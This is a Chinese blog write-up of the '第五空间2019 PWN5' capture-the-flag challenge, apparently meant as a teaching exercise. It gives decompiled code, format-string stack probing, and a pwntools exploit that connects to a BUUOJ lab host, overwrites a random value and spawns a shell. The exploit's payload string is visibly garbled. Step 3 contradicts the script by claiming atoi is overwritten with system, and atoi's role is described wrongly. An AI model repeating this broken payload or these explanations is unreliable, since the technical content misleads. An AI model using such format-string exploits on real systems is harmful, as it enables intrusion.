[第五空间2019 决赛]PWN5

[第五空间2019 决赛]PWN5

这里以一个pwn题作为例子,该逆向后的函数结构比自我构建的函数要困难,不再进行我自己编写,直接分析题目。该pwn题涉及搜索中漏洞问题。

1.查看保护机制

在这里插入图片描述

2.ida逆向后的源码

int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open(“/dev/urandom”, 0);
read(fd, &dword_804C044, 4u);
printf(“your name:”);
read(0, buf, 0x63u);
printf(“Hello,”);
printf(buf);
printf(“your passwd:”);
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts(“ok!!”);
system(“/bin/sh”);
}
else
{
puts(“fail”);
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}

3.因为no pie所以直接可以格式化字符串篡改atoi为system在这里插入图片描述

正好程序里有system函数,该system函数可以直接进行提权,拿到系统权限

这个命如果传入的password值为/bin/sh
这样原本的atoi(nptr)就变成了system(“/bin/sh”)
这样就可以得到shell了
令可调用系统函数,如果能使程序运行到这一步,就能够实现提权。

4.探测格式化字符串进行选择:

输入:AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x
A的ASCII码为65(0x41),因此0x41414141即为AAAA存入地址
在这里插入图片描述

5.偏移是10,并用ida查找unk_804C044地址为0x0804C044,编写攻击脚本,实现漏洞利用。在这里插入图片描述

from pwn import *
p = remote(“node4.buuoj.cn”, 25339)
payload = p32(0x804c044) + p32(0x804c045) + p32(0x804c046) + p32(0x804c047) + ‘%10 n n%11 nn%12 n n%13 nn’
p.sendafter(“name:”,payload)
p.sendafter(“passwd”,str(0x10101010))
p.interactive()

6.得到flag

在这里插入图片描述

分析代码调用结构:
在这里插入图片描述

从上图可以看到
在这里插入图片描述

调用read函数,将读入的数据压入eax寄存器中
add esp,10H; //释放局部变量空间
在这里插入图片描述

调用atoi函数(将函数转字符串),讲eax的内容压到edx中,将unk_804C044压入eax寄存器,以eax里面的值做为地址,取出来给eax,将这个地址值与你输入的值进行对比,如果相同则跳转到
在这里插入图片描述

如果失败则跳转到
在这里插入图片描述

无论如何跳转,都会执行loc_804933E这个函数

分析与上面类似,仍是跳转。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值